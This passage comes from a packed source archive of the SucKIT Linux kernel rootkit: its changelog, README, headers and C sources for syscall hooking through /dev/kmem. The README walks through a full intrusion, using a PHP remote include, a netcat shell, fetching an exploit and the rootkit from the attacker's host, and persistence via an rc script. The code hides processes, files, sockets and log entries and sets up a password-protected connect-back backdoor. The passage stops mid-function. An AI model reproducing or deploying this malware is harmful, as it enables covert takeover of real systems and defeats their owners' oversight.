GNU General Public License for more details.
<--> ./doc/LICENSE
<++> ./doc/CHANGES
Development history:
Version 1.1c:
        - disabled flow control in client, escape char changed to ^K
Version 1.1b:
        - fixed GFP_KERNEL bug with segfaulting on 2.4.0 - 2.4.5 kernels
Version 1.1a:
        - makefile, added SIGWINCH support + autentification of remote
          user (but still in plain text ;( )
Version 1.0d:
        - added connect-back bindshell, with TTY/PTY support !
          filtering out invisible pids, connections and philes ;)
Version 1.0c:
        - only one thing we're doing at this time, is to change one letter
          in output of uname()
Version 1.0b:
        - first working version of new code, relocations made directly
          from .o, as far i know, everything works on 2.4.x smoothly,
          just add some good old features...
          Added (read: stolen) linus' string.c and vsprintf.c in order to
          make coding more user-phriendly ;)
Version 1.0a:
        - devik@cdi.cz discovered that `sidt` works on linux ... so we can
          play a bit with int 0x80 ;)) kmalloc search engine was written by
          devik too, many thanks to him!
------------------------------------------------------------------------
Version 0.3d:
        - I got 2.4.10 kernel and things are _totally_ fucked up,
          nothing didn't work, kmalloc search engine was gone and so on ..
          So i decided to rewrite code from scratch,
          divide it to more files.
Version 0.3c: (PUBLIC)
        - added getdents64 (interesting for 2.4.x kernel, but compatibility
          still not guaranted)
Version 0.3b:
        - added `scp` sniffing
        - no sniffing of hidden users anymore!
Version 0.3: (PUBLIC)
        - Punk. Fool. We don't need LKM support anymore !!!
          We're able to heuristically abtain (with 80% accuracy ;)
          sys_call_table[] and kmalloc() directly from /dev/kmem !!!
          third release under GNU/GPL
Version 0.23a:
        - completely rewritten new_getdents(), fixed major bugs,
          but still sometimes crashes unpredictabely ;-(
Version 0.22b:
        - rcscript is executed as invisible by nature ;)
Version 0.22a:
        - Fixed "unhide all" bug, feature works now
Version 0.21a:
        - added ssh2d support
Version 0.2a:
        - fixed ugly bug in that suckit forgets to hide some invisible
          pids (on high loads) without reason !!
```

```
          (thx. to root@buggy.frogspace.net ;)
Version 0.2: (PUBLIC)
        - Cleanup (the suckit.h thing, etc),
          l33t bash skripts (flares, mk, inst),
          second (BUGFIX) release under GNU/GPL
Version 0.13a:
        - Filters out the syslogd's lines of us while we logginin' in/out,
          WE'RE TOTALLY INVISIBLE NOW!
Version 0.12a:
        - Finally! We're able to hide our TCP/UDP/RAW sockets in netstat!
          Everything done usin' stealth techniqe for /proc/net/tcp|udp|raw
Version 0.11b:
        - We hide the fact that someone sets PROMISC flag on some eth iface
          (thru ioctl)
Version 0.11a:
        - Fixed the weird bug in check_names() so we're able to stay in
          kernel for more than 2 hours without consuming a lotta of memory
          and rebooting (thx. to root@host2.dns4ua.com)
Version 0.1: (PUBLIC):
        - General code cleanup, released first version under GNU/GPL
Version 0.08a:
        - Added suid=0 fakeshell thing, because some hosts don't like uid=0
          users remotely logged in ;)
Version 0.07c:
        - Fixed bug with kernel's symbol versions (strncmp ownz! ;) while
          we importin' symbols
Version 0.07b:
        - Added the `config` crap ;)
Version 0.07a:
        - Everything joined into one executable ;)
          Compilation divided into three parts:
          .C -> .S, .S -> our_parses -> .s, .s -> binary
Version 0.06a:
        - Fixed major bugs with small buffers, added PID hidding and our
          PID tracking system, leaved from using 'task_struct *current'
          and other kernel structures, so the code can work on any kernel
          of 2.2.x without recompilation !
Version 0.05a:
        - solved our problem with 'who', we forbid any write to
          utmp/wtmp/lastlog containing our username ;)
Version 0.04a:
        - "backdoor" over fake /etc/passwd for remote services
          (telnet, rsh, ssh), but we are still visible in `who` ;(
Version 0.03a:
        - First relocatable code, we still do only one thing
          (hiding files), divided into two parts object module
          (normal, vanilla kernel-LKM ;) and Silvio's kinsmod
          (which places it to kernel space thru /dev/kmem)
Version 0.02b:
        - Finally! We're able to allocate kernel memory thru kmalloc() !
          But the code does nothing ;(
Version 0.02a:
        - First executable code, we're overwriting kernel-code at static
          address.
          Fixed one major bug:
          [rewt@pikatchu ~]# ./suckit
          bash: ./suckit: No such file or directory
Version 0.01a:
        - uhm, no real code, just only concept in my head
<--> ./doc/CHANGES
<++> ./doc/README
suc-kit - Super User Control Kit, (c)ode by sd@sf.cz & devik@cdi.cz, 2001
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Works on: 2.2.x, 2.4.x linux kernels (2.0.x should too, but not tested)

SucKIT
~~~~~~
        - Code by sd <sd@sf.cz>, sd@ircnet
        - kmalloc() & idt/int 0x80 crap by devik <devik@cdi.cz>
        - Thanks to:
```

```
                Silvio Cesare for his excellent articles
                halflife (for opening my eyes to look around LKM's)
                QuantumG for example in STAOG

Description
~~~~~~~~~~~
        Suckit (stands for stupid 'super user control kit') is another of
        thousands linux rootkits, but it's unique in some ways:

Features:
        - Full password protected remote access connect-back shell
          initiated by spoofed packet (bypassing most of firewall
          configurations)

        - Full tty/pty, remote enviroment export + setting up win size
          while client gets SIGWINCH

        - It can work totally alone (without libs, gcc ...) using only
          syscalls (this applies only to server side, client is running
          on your machine, so we can use libc ;)

        - It can hide processes, files and connections
          (f00led: fuser, lsof, netstat, ps & top)

        - No changes in filesystem

Disadvantages:
        - Non-portable, i386-linux specific

        - Buggy as hell ;)

Instead of long explaining how to use it, small example is better:

An real example of complete attack (thru PHP bug):

[attacker@badass.cz ~/sk10]$ ./sk c
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Usage:
./sk [command] [arg]
Commands:
  u          uninstall
  t          test
  i <pid>    make pid invisible
  v <pid>    make pid visible (0 = all)
  f [0/1]    toggle file hiding
  p [0/1]    toggle proc hiding
configuration:
  c <hidestr> <password> <home>
invoking without args will install rewtkit into memory
[attacker@badass.cz ~/sk10]$ ./sk c l33t bublifuck /usr/share/man/man4/l33t
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Configuring ./sk:
OK!
[attacker@badass.cz ~/sk10]$ telnet lamehost.com 80
Trying 192.160.0.2...
Connected to lamehost.com.
Escape character is '^]'.
GET /bighole.php3?inc=http://badass.cz/egg.php3 HTTP/1.1
Host: lamehost.com

HTTP/1.1 200 OK
Date: Thu, 18 Oct 2001 04:04:52 GMT
Server: Apache/1.3.14 (Unix)  (Red-Hat/Linux) PHP/4.0.4pl1
Last-Modified: Fri, 28 Sep 2001 04:42:34 GMT
```

```
ETag: "31c6-c2-3bb3ffba"
Content-Type: text/html

IT WERKS! Shell at port 8193Connection closed by foreign host.
[attacker@badass.cz ~/sk10]$ nc -v lamehost.com 8193
lamehost.com [192.168.0.2] 8193 (?) open
w
12:08am  up  1:20,  3 users,  load average: 0.05, 0.06, 0.08
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
root     tty1     -                11:58pm 39:03   3.15s  2.95s  bash
cd /tmp
lynx -dump http://badass.cz/s.c > s.c
gcc s.c -o super-duper-hacker-user-rooter
./super-duper-hacker-user-rooter
id
uid=0(root) gid=0(root) groups=0(root)
cd /usr/local/man/man4
mkdir .l33t
cd .l33t
lynx -dump http://badass.cz/~attacker/sk10/sk > sk
chmod +s+u sk
./sk
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Getting kernel stuff...OK
page_offset      : 0xc0000000
sys_call_table[] : 0xc01e5920
int80h dispatch  : 0xc0106cef
kmalloc()        : 0xc0127a20
GFP_KERNEL       : 0x000001f0
punk_addr        : 0xc010b8e0
punk_size        : 0x0000001c (28 bytes)
our kmem region  : 0xc0f94000
size of our kmem : 0x00003af2 (15090 bytes)
new_call_table   : 0xc0f968f2
# of relocs      : 0x0000015d (349)
# of syscalls    : 0x00000012 (18)
And nooooow....Shit happens!! -> WE'RE IN <-
Starting backdoor daemon...OK, pid = 2101
exit
exit
[attacker@badass.cz ~/sk10]$ su
Password:
[root@badass.cz ~/sk10]# ./cli lamehost.com
Looking up badass.cz...OK
Looking up lamehost.com...OK
Trying 192.168.0.2.....
Challenging lamehost.com
Connected to lamehost.com
Escape character is '^K'
Password:
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
[rewt@lamehost.com ~]# ps uwxa | grep ps
[rewt@lamehost.com ~]# cp sk /etc/rc.d/rc3.d/S99l33t
[rewt@lamehost.com ~]# exit

Connection closed.
[root@badass.cz ~/sk10]#

...and so on...

-- sd@sf.cz (sd@ircnet)
<--> ./doc/README
<++> ./doc/TODO
- some RSA for communication
```

```
- connection-less TCP for remote shell
- sniff everything & everywhere (tty's mostly ;)
- some kinda of spin-locking on SMPs
<--> ./doc/TODO
<++> ./include/suckit.h
/* $Id: suckit.h, core suckit defs */

#ifndef SUCKIT_H
#define SUCKIT_H

#ifndef __NR_getdents64
#define __NR_getdents64 220
#endif

#define OUR_SIGN OURSIGN
#define RC_FILE RCFILE

#define DEFAULT_HOME    "/usr/share/man/.sd"
#define DEFAULT_HIDESTR "sk10"
#define DEFAULT_PASSWD  "bublifuck"

/* cmd stuff */
#define CMD_TST         1       /* test */
#define CMD_INV         2       /* make pid invisible */
#define CMD_VIS         3       /* make pid visible */
#define CMD_RMV         4       /* remove from memory */
#define CMD_GFL         5       /* get flags */
#define CMD_SFL         6       /* set flags */
#define CMD_BDR         7
#define SYS_COUNT       256

#define CMD_FLAG_HP     1
#define CMD_FLAG_HF     2

/* crappy stuff */
#define BANNER \
"* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n" \
"* SUCKIT " SUCKIT_VERSION " - New, singing, dancing, world-smashing" \
" rewtkit  *\n" \
"* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                     *\n" \
"* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n"

#define BAD1 "/proc/net/tcp"
#define BAD2 "/proc/net/udp"
#define BAD3 "/proc/net/raw"


/* kernel related stuff */
#define SYSCALL_INTERRUPT       0x80
#define KMEM_FILE               "/dev/kmem"
#define MAX_SYMS                4096
#define MAX_PID                 512
#define PUNK                    109 /* victim syscall - old_uname */
/* for 2.4.x */
#define KMEM_FLAGS              (0x20 + 0x10 + 0x40 + 0x80 + 0x100)



/* typedef's */
#define ulong   unsigned long
#define uint    unsigned int
#define ushort  unsigned short
#define uchar   unsigned char
struct kernel_sym {
        ulong   value;
        uchar   name[60];
};


struct  new_call {
```

```
        uint    nr;
        void    *handler;
        void    **old_handler;
} __attribute__ ((packed));


/* this struct __MUST__ correspond with c0r3 header stuff in
   utils/parse.c ! */
struct  obj_struc {
        ulong           obj_len;
        ulong           bss_len;
        void            *punk;
        uint            *punk_size;
        struct new_call *new_sct;
        ulong           *sys_call_table;
        /* these values will be passed to image */
        ulong           page_offset;
        ulong           syscall_dispatch;
        ulong           *old_call_table;
} __attribute__ ((packed));


/* struct for communication between kernel <=> userspace */
struct  cmd_struc {
        ulong   id;
        ulong   cmd;
        ulong   num;
        char    buf[1024];
} __attribute__ ((packed));


struct  kma_struc {
        ulong   (*kmalloc) (uint, int);
        int     size;
        int     flags;
        ulong   mem;
} __attribute__ ((packed));

struct mmap_arg_struct {
        unsigned long addr;
        unsigned long len;
        unsigned long prot;
        unsigned long flags;
        unsigned long fd;
        unsigned long offset;
        unsigned long lock;
};

struct de64 {
        ulong long      d_ino;
        ulong long      d_off;
        unsigned short  d_reclen;
        uchar           d_type;
        uchar           d_name[256];
};

struct de {
        long            d_ino;
        uint            d_off;
        ushort          d_reclen;
        char            d_name[256];
};

struct net_struc {
        int     fd;
        int     len;
        int     pos;
        int     data_len;
        char    dat[1];
};
```

```
struct pid_struc {
        ushort  pid;
        struct  net_struc *net;
        uchar   hidden;
} __attribute__ ((packed));

struct  config_struc {
        uchar   magic[8];
        uchar   hs[32];
        uchar   pwd[32];
        uchar   home[64];
};

#define mmap_arg ((struct mmap_arg_struct *) \
                  (page_offset - sizeof(struct mmap_arg_struct)) )
#define MM_LOCK                 0x1023AFAF

#define PAGE_SIZE               4096
#define PAGE_RW                 (PROT_READ | PROT_WRITE)



#ifndef O_RDONLY
#define O_RDONLY                0
#endif

#ifndef O_WRONLY
#define O_WRONLY                1
#endif

#ifndef O_RWDR
#define O_RDWR                  2
#endif

/* debug stuff */
#ifdef SK_DEBUG
#define skd(fmt,args...) printf(fmt, args)
#else
#define skd(fmt,args...) while (0) {}
#endif

#endif
<--> ./include/suckit.h
<++> ./include/asm.h
/* $Id: asm.h, assembly related stuff */

#ifndef ASM_H
#define ASM_H
struct idtr {
        unsigned short  limit;
        unsigned int    base;
} __attribute__ ((packed));

struct idt {
        unsigned short  off1;
        unsigned short  sel;
        unsigned char   none, flags;
        unsigned short  off2;
} __attribute__ ((packed));
#endif
<--> ./include/asm.h
<++> ./include/ip.h
/* $Id: ip.h, raw TCP/IP stuff */


struct  rawdata {
        ulong   id;
        ulong   ip;
        ushort  port;
```

```
};

struct ippkt {
        struct  ip ip;
        struct  tcphdr tcp;
        char    something[12];
        char    data[1024];
};

struct pseudohdr {
        u_int32_t       saddr;
        u_int32_t       daddr;
        u_int8_t        zero;
        u_int8_t        protocol;
        u_int16_t       lenght;
};

u_short in_chksum(u_short *ptr, int nbytes)
{
  register long           sum;            /* assumes long == 32 bits */
  u_short                 oddbyte;
  register u_short        answer;         /* assumes u_short == 16 bits */

  /*
   * Our algorithm is simple, using a 32-bit accumulator (sum),
   * we add sequential 16-bit words to it, and at the end, fold back
   * all the carry bits from the top 16 bits into the lower 16 bits.
   */
  sum = 0;
  while (nbytes > 1)
  {
    sum += *ptr++;
    nbytes -= 2;
  }

        /* mop up an odd byte, if necessary */
  if (nbytes == 1)
  {
    oddbyte = 0;            /* make sure top half is zero */
    *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
    sum += oddbyte;
  }

  /*
   * Add back carry outs from top 16 bits to low 16 bits.
   */

  sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  sum += (sum >> 16);                     /* add carry */
  answer = ~sum;          /* ones-complement, then truncate to 16 bits */

  return((u_short) answer);
}
<--> ./include/ip.h
<++> ./include/str.h
/*
 *  linux/lib/string.c
 *
 *  Copyright (C) 1991, 1992  Linus Torvalds
 */

#ifndef STRING_H
#define STRING_H

#ifndef NULL
#define NULL (void *) 0
#endif

extern char * ___strtok;
extern char * strpbrk(const char *,const char *);
```

```
extern char * strtok(char *,const char *);
extern char * strsep(char **,const char *);
extern unsigned strspn(const char *,const char *);
extern char * strcpy(char *,const char *);
extern char * strncpy(char *,const char *, unsigned);
extern char * strcat(char *, const char *);
extern char * strncat(char *, const char *, unsigned);
extern int strcmp(const char *,const char *);
extern int strncmp(const char *,const char *,unsigned);
extern int strnicmp(const char *, const char *, unsigned);
extern char * strchr(const char *,int);
extern char * strrchr(const char *,int);
extern char * strstr(const char *,const char *);
extern unsigned strlen(const char *);
extern unsigned strnlen(const char *,unsigned);
extern void * memset(void *,int,unsigned);
extern void * memcpy(void *,const void *,unsigned);
extern void * memmove(void *,const void *,unsigned);
extern void * memscan(void *,int,unsigned);
extern int memcmp(const void *,const void *,unsigned);
extern void * memchr(const void *,int,unsigned);
#endif
<--> ./include/str.h
<++> ./src/main.c
/* $Id: main.c, replacement of libc's main() parent  */

#ifndef MAIN_C
#define MAIN_C
#include <stdarg.h>
#include <linux/unistd.h>

#define MAX_ARGS 255

/* uhh, nice replacement of libc ;) */
int     _start(char *argv, ...)
{
        char    *arg_ptrs[MAX_ARGS];
        char    *p = argv;
        int     i = 0;
        va_list ap;

        va_start(ap, argv);
        do {
                arg_ptrs[i] = p;
                p = va_arg(ap, char *);
                i++;
                if (i == MAX_ARGS) break;
        } while (p);

        _exit(main(i, arg_ptrs));
}
#endif
<--> ./src/main.c
<++> ./src/kernel.c
/* $Id: hook.c, kernel related stuff (read, write and so on)  */

#ifndef KERNEL_C
#define KERNEL_C

/* stuff directly related with kernel */
#include "suckit.h"

#include "string.c"
#include "io.c"

/* simple inlines to r/w stuff from/to kernel memory */

/* read data from kmem */
static inline int rkm(int fd, int offset, void *buf, int size)
{
```

```
        if (lseek(fd, offset, 0) != offset) return 0;
        if (read(fd, buf, size) != size) return 0;
        return size;
}

/* write data to kmem */
static inline int wkm(int fd, int offset, void *buf, int size)
{
        if (lseek(fd, offset, 0) != offset) return 0;
        if (write(fd, buf, size) != size) return 0;
        return size;
}

/* read int from kmem */
static inline int rkml(int fd, int offset, ulong *buf)
{
        return rkm(fd, offset, buf, sizeof(ulong));
}

/* write int to kmem */
static inline int wkml(int fd, int offset, ulong buf)
{
        return wkm(fd, offset, &buf, sizeof(ulong));
}


/* relocate given image */
int     img_reloc(void *img, ulong *reloc_tab, ulong reloc)
{
        int     count = 0;

        /* relocate image */
        while (*reloc_tab != 0xFFFFFFFF) {
                skd("Relocating %x at %x",
                        * (ulong *) (((ulong) (img)) + *reloc_tab),
                        (((ulong) (img)) + *reloc_tab));
                * (ulong *) (((ulong) (img)) + *reloc_tab) += reloc;
                skd(" result=%x\n",
                        * (ulong *) (((ulong) (img)) + *reloc_tab));
                reloc_tab++;
                count++;
        }
        return count;
}

#endif
<--> ./src/kernel.c
<++> ./src/string.c
/* $Id: string.c, modified linus' vsprintf.c, thanx to him, whatever */

#ifndef STRING_C
#define STRING_C

#include "str.h"

char * ___strtok;

int strnicmp(const char *s1, const char *s2, unsigned len)
{
        unsigned char c1, c2;

        c1 = 0; c2 = 0;

        if (len) {
                do {
                        c1 = *s1; c2 = *s2;
                        s1++; s2++;
                        if (!c1)
                                break;
                        if (!c2)
```

```
                                break;
                        if (c1 == c2)
                                continue;
                        c1 &= c1 & 0xDF;
                        c2 &= c2 & 0xDF;
                        if (c1 != c2)
                                break;
                } while (--len);
        }

        return (int)c1 - (int)c2;
}


inline char * strcpy(char * dest,const char *src)
{
        char *tmp = dest;

        while ((*dest++ = *src++) != '\0');

        return tmp;
}

inline char * strncpy(char * dest,const char *src,unsigned count)
{
        char *tmp = dest;

        while (count-- && (*dest++ = *src++) != '\0');

        return tmp;
}

inline char * strcat(char * dest, const char * src)
{
        char *tmp = dest;

        while (*dest)
                dest++;
        while ((*dest++ = *src++) != '\0');

        return tmp;
}

inline char * strncat(char *dest, const char *src, unsigned count)
{
        char *tmp = dest;

        if (count) {
                while (*dest)
                        dest++;
                while ((*dest++ = *src++)) {
                        if (--count == 0) {
                                *dest = '\0';
                                break;
                        }
                }
        }

        return tmp;
}

inline int strcmp(const char * cs,const char * ct)
{
        register signed char __res;

        while (1) {
                if ((__res = *cs - *ct++) != 0 || !*cs++)
                        break;
        }
```

```
        return __res;
}

inline int strncmp(const char * cs,const char * ct,unsigned count)
{
        register signed char __res = 0;

        while (count) {
                if ((__res = *cs - *ct++) != 0 || !*cs++)
                        break;
                count--;
        }

        return __res;
}

char * strchr(const char * s, int c)
{
        for(; *s != (char) c; ++s)
                if (*s == '\0')
                        return NULL;
        return (char *) s;
}

char * strrchr(const char * s, int c)
{
       const char *p = s + strlen(s);
       do {
           if (*p == (char)c)
               return (char *)p;
       } while (--p >= s);
       return NULL;
}

unsigned strlen(const char * s)
{
        const char *sc;

        for (sc = s; *sc != '\0'; ++sc)
                /* nothing */;
        return sc - s;
}

unsigned strnlen(const char * s, unsigned count)
{
        const char *sc;

        for (sc = s; count-- && *sc != '\0'; ++sc)
                /* nothing */;
        return sc - s;
}

unsigned strspn(const char *s, const char *accept)
{
        const char *p;
        const char *a;
        unsigned count = 0;

        for (p = s; *p != '\0'; ++p) {
                for (a = accept; *a != '\0'; ++a) {
                        if (*p == *a)
                                break;
                }
                if (*a == '\0')
                        return count;
                ++count;
        }

        return count;
}
```

```
char * strpbrk(const char * cs, const char * ct)
{
        const char *sc1,*sc2;

        for( sc1 = cs; *sc1 != '\0'; ++sc1) {
                for( sc2 = ct; *sc2 != '\0'; ++sc2) {
                        if (*sc1 == *sc2)
                                return (char *) sc1;
                }
        }
        return NULL;
}

char * strtok(char * s,const char * ct)
{
        char *sbegin, *send;

        sbegin  = s ? s : ___strtok;
        if (!sbegin) {
                return NULL;
        }
        sbegin += strspn(sbegin,ct);
        if (*sbegin == '\0') {
                ___strtok = NULL;
                return( NULL );
        }
        send = strpbrk( sbegin, ct);
        if (send && *send != '\0')
                *send++ = '\0';
        ___strtok = send;
        return (sbegin);
}

char * strsep(char **s, const char *ct)
{
        char *sbegin = *s, *end;

        if (sbegin == NULL)
                return NULL;

        end = strpbrk(sbegin, ct);
        if (end)
                *end++ = '\0';
        *s = end;

        return sbegin;
}

inline void * memset(void * s,int c,unsigned count)
{
        char *xs = (char *) s;

        while (count--)
                *xs++ = c;

        return s;
}

inline void bzero(void *s, unsigned count)
{
        memset(s, 0, count);
}

char * bcopy(const char * src, char * dest, int count)
{
        char *tmp = dest;

        while (count--)
                *tmp++ = *src++;
```

```
        return dest;
}

inline void * memcpy(void * dest,const void *src,unsigned count)
{
        char *tmp = (char *) dest, *s = (char *) src;

        while (count--)
                *tmp++ = *s++;

        return dest;
}

inline void * memmove(void * dest,const void *src,unsigned count)
{
        char *tmp, *s;

        if (dest <= src) {
                tmp = (char *) dest;
                s = (char *) src;
                while (count--)
                        *tmp++ = *s++;
                }
        else {
                tmp = (char *) dest + count;
                s = (char *) src + count;
                while (count--)
                        *--tmp = *--s;
                }

        return dest;
}

int memcmp(const void * cs,const void * ct,unsigned count)
{
        const unsigned char *su1, *su2;
        signed char res = 0;

        for( su1 = cs, su2 = ct; 0 < count; ++su1, ++su2, count--)
                if ((res = *su1 - *su2) != 0)
                        break;
        return res;
}

void * memscan(void * addr, int c, unsigned size)
{
        unsigned char * p = (unsigned char *) addr;

        while (size) {
                if (*p == c)
                        return (void *) p;
                p++;
                size--;
        }
        return (void *) p;
}

char * strstr(const char * s1,const char * s2)
{
        int l1, l2;

        l2 = strlen(s2);
        if (!l2)
                return (char *) s1;
        l1 = strlen(s1);
        while (l1 >= l2) {
                l1--;
                if (!memcmp(s1,s2,l2))
                        return (char *) s1;
```

```
                s1++;
        }
        return NULL;
}

void * memmem(char *s1, int l1, char *s2, int l2)
{
        if (!l2) return s1;
        while (l1 >= l2) {
                l1--;
                if (!memcmp(s1,s2,l2))
                        return s1;
                s1++;
        }
        return NULL;
}

void *memchr(const void *s, int c, unsigned n)
{
        const unsigned char *p = s;
        while (n-- != 0) {
                if ((unsigned char)c == *p++) {
                        return (void *)(p-1);
                }
        }
        return NULL;
}
#endif
<--> ./src/string.c
<++> ./src/core.c
/* $Id: core.c, mainly our syscalls */

#ifndef CORE_C
#define CORE_C

#include <stdarg.h>
#include <linux/unistd.h>
#include <asm/ptrace.h>
#include <asm/mman.h>
#include <asm/errno.h>
#include <asm/stat.h>
#include <linux/if.h>


#include "suckit.h"
#include "string.c"
#include "vsprintf.c"
#include "io.c"

/* ehrm, ,,exports'' ;)) */
extern  ulong   page_offset;
extern  ulong   syscall_dispatch;
extern  ulong   old_call_table;

/* set this to 1 if u wanna to debug something, don't forget
   to change addr of printk (cat /proc/ksyms | grep printk) */
#if 0
int (*printk) (char *fmt, ...) = (void *) 0xc0113710;
#define crd(fmt,args...) printk(__FUNCTION__ "():" fmt "\n", args)
#else
#define crd(fmt,args...) while (0) {}
#endif


#define mmap_arg ((struct mmap_arg_struct *) \
                  (page_offset - sizeof(struct mmap_arg_struct)) )

/* new_XXX & old_XXX pair for some syscall */
#define ds(type,name,args...) type new_##name(args); \
                              type (*old_##name)(args)
```

```
/* only old_XXX def in order to import some syscall) */
#define is(type,name,args...) type (*old_##name)(args)

/* syscall defs */
ds(int, olduname,       char *);
ds(int, fork,           struct pt_regs);
ds(int, clone,          struct pt_regs);
ds(int, open,           char *, int, int);
ds(int, close,          int);
ds(int, read,           int, char *, uint);
ds(int, kill,           int, int);
ds(int, getdents,       uint, struct de *, int count);
ds(int, getdents64,     uint, struct de64 *, int count);
ds(int, ioctl,          uint, uint, ulong);

/* import various syscall to avoid using int 0x80 from syscall handlers */
is(int, stat,           char *, struct stat *);
is(int, fstat,          int, struct stat *);
is(void *, mmap,        struct mmap_arg_struct *);
is(int, munmap,         ulong, uint);
is(int, getpid,         void);
is(int, readdir,        uint, struct de *, uint);
is(int, readlink,       char *, char *, uint);
is(int, lseek,          int, int, int);


/* syscall replacement table (requiered by hook.c) */
#define repsc(x)        {__NR_##x, (void *) new_##x, (void **) &old_##x},
#define impsc(x)        {__NR_##x, (void *) NULL, (void **) &old_##x},
struct  new_call        new_sct[] = {
        repsc(olduname)
        repsc(fork)
        repsc(clone)
        repsc(open)
        repsc(close)
        repsc(read)
        repsc(kill)
        repsc(getdents)
        repsc(getdents64)
        repsc(ioctl)
        impsc(stat)
        impsc(fstat)
        impsc(mmap)
        impsc(munmap)
        impsc(getpid)
        impsc(readdir)
        impsc(readlink)
        impsc(lseek)
        {0}
};

/* our fake sys_call_table[] ;) */
ulong   sys_call_table[SYS_COUNT];

/* our table of hidden pid's */
struct  pid_struc pid_tab[MAX_PID];

/* "bad" files ;) */
int     bdev = -1, bad1 = -1, bad2 = -1, bad3 = -1;

/* our flags */
ulong   our_flags = CMD_FLAG_HP | CMD_FLAG_HF;
int     backdoor_pid = 0;

struct  config_struc    cfg = {"CFGMAGIC", ".sd", "", ""};

#define HIDE_FILES      (our_flags & CMD_FLAG_HF)
#define HIDE_PROCS      (our_flags & CMD_FLAG_HP)

/* replacement of olduname, allocates some memory in kernel space */
```

```
int     punk(struct kma_struc *k)
{
        k->mem = k->kmalloc(k->size, k->flags);
        return 0;
}

/*************************** helper fn's ******************** */
uint    my_atoi(char *n)
{
        register uint ret = 0;
        while ((((*n) < '0') || ((*n) > '9')) && (*n))
                n++;
        while ((*n) >= '0' && (*n) <= '9')
                ret = ret * 10 + (*n++) - '0';
        return ret;
}


/* u-alloc, 'u' stands for 'ugly' ;) */
void   *ualloc(ulong size)
{
        void   *ret;
        struct mmap_arg_struct  msave;

        while (mmap_arg->lock == MM_LOCK);
        memcpy(&msave, mmap_arg, sizeof(struct mmap_arg_struct));
        mmap_arg->lock = MM_LOCK;
        mmap_arg->addr = 0;
        mmap_arg->len = (PAGE_SIZE + size - 1) & ~PAGE_SIZE;
        mmap_arg->prot = PAGE_RW;
        mmap_arg->flags = MAP_PRIVATE | MAP_ANONYMOUS;
        mmap_arg->fd = 0;
        mmap_arg->offset = 0;
        ret = old_mmap(mmap_arg);
        memcpy(mmap_arg, &msave, sizeof(struct mmap_arg_struct));
        if ((ulong) ret > 0xffff0000)
                return NULL;
        return ret;
}

static inline void    ufree(void *ptr, ulong size)
{
        if (ptr) {
                old_munmap((ulong) ptr,
                           (PAGE_SIZE + size - 1) & ~PAGE_SIZE);
        }
}

/* basic fn's */
static inline struct pid_struc *find_pid(int pid)
{
        int     i;
        for (i = 0; i < MAX_PID; i++) {
                if (pid_tab[i].pid == pid)
                        return &pid_tab[i];
        }
        return NULL;
}



struct pid_struc *add_pid(int pid)
{
        struct  pid_struc *p = find_pid(pid);
        int     i;
        if (p) {
                return p;
        } else {
                for (i = 0; i < MAX_PID; i++) {
                        if (!pid_tab[i].pid) {
```

```
                                bzero((char *) &pid_tab[i],
                                      sizeof(struct pid_struc));
                                pid_tab[i].pid = pid;
                                return &pid_tab[i];
                        }
                }
        }
        return NULL;
}

static inline struct pid_struc *hide_pid(int pid)
{
        struct  pid_struc *p = add_pid(pid);
        if (p) {
                p->hidden = 1;
        }
        crd("%d = 0x%x", pid, p);
        return p;
}


struct pid_struc *del_pid(int pid)
{
        struct  pid_struc *p = find_pid(pid);
        if (p) p->pid = 0;
        return p;
}

int unhide_pid(int pid)
{
        int     i;
        if (pid == 0) {
                for (i = 0; i < MAX_PID; i++) {
                        del_pid(pid_tab[i].pid);
                }
                return 1;
        }
        return (del_pid(pid) != NULL);
}


void    sync_pid_tab(void)
{
        int     i;
        /* remove unused entries in order to avoid to become full */
        for (i = 0; i < MAX_PID; i++) {
                if ((pid_tab[i].pid) &&
                    (old_kill(pid_tab[i].pid, 0) == -ESRCH)) {
                        bzero((char *) &pid_tab[i],
                              sizeof(struct pid_struc));
                }
        }
}

static inline struct pid_struc *curr_pid(void)
{
        return find_pid(old_getpid());
}

/* this creates table ("cache") of sockets owned by invisible processes */
int     create_net_tab(int *tab, int max, struct de *de, char *buf)
{
        int     i;
        int     fd;
        int     cnt = 0;

        crd("tab=0x%x, max=%d, de=0x%x, buf=0x%x", tab, max, de, buf);
        for (i = 0; i < MAX_PID; i++) {
                if (pid_tab[i].pid && pid_tab[i].hidden) {
                        char   *zptr;
```

```
                        zptr = buf +
                               sprintf(buf, "/proc/%d/fd", pid_tab[i].pid);
                        crd("buf=%s (0x%x), zptr=0x%x", buf, buf, zptr);
                        fd = old_open(buf, O_RDONLY, 0);
                        if (fd < 0)
                                continue;
                        *zptr++ = '/';
                        while (old_readdir(fd, de, sizeof(struct de)) == 1)
                                {
                                strcpy(zptr, de->d_name);
                                if (old_readlink(buf, &buf[64], 64) > 0) {
                                        if (!strncmp
                                            (&buf[64], "socket:[", 8)) {
                                                tab[cnt++] =
                                                    my_atoi(&buf[64]);
                                                if (cnt >= max) {
                                                        close(fd);
                                                        return cnt;
                                                }
                                        }       /* if strncmp .. */
